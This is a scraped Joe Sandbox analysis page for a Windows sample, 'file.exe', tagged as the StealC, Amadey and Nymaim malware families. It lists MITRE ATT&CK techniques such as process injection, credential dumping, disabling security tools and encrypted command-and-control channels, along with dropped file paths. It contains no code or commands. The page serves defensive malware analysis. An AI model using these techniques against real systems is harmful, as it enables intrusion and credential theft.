Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: Amadey

Threatname: Nymaim

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

E-Banking Fraud

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\AFHDAKJK

C:\ProgramData\CAAAFCAKKKFBFIDGDBFHJJEHID

C:\ProgramData\EGCBAFCFIJJJECBGIIJKECAFID

C:\ProgramData\GHCGDAFC

C:\ProgramData\GHCGDAFCFHIDBGDHCFCB

C:\ProgramData\JDAFBKECAKFCAAAKJDAK

C:\ProgramData\JKKEHJDHJKFIECAAKFIJ

Windows Analysis Report
file.exe

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may use legitimate desktop support and remote access software to establish an interactive command and control channel to target systems within networks. These services, such as `VNC`, `Team Viewer`, `AnyDesk`, `ScreenConnect`, `LogMein`, `AmmyyAdmin`, and other remote monitoring and management (RMM) tools, are commonly used as legitimate technical support software and may be allowed by application control within a target environment.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre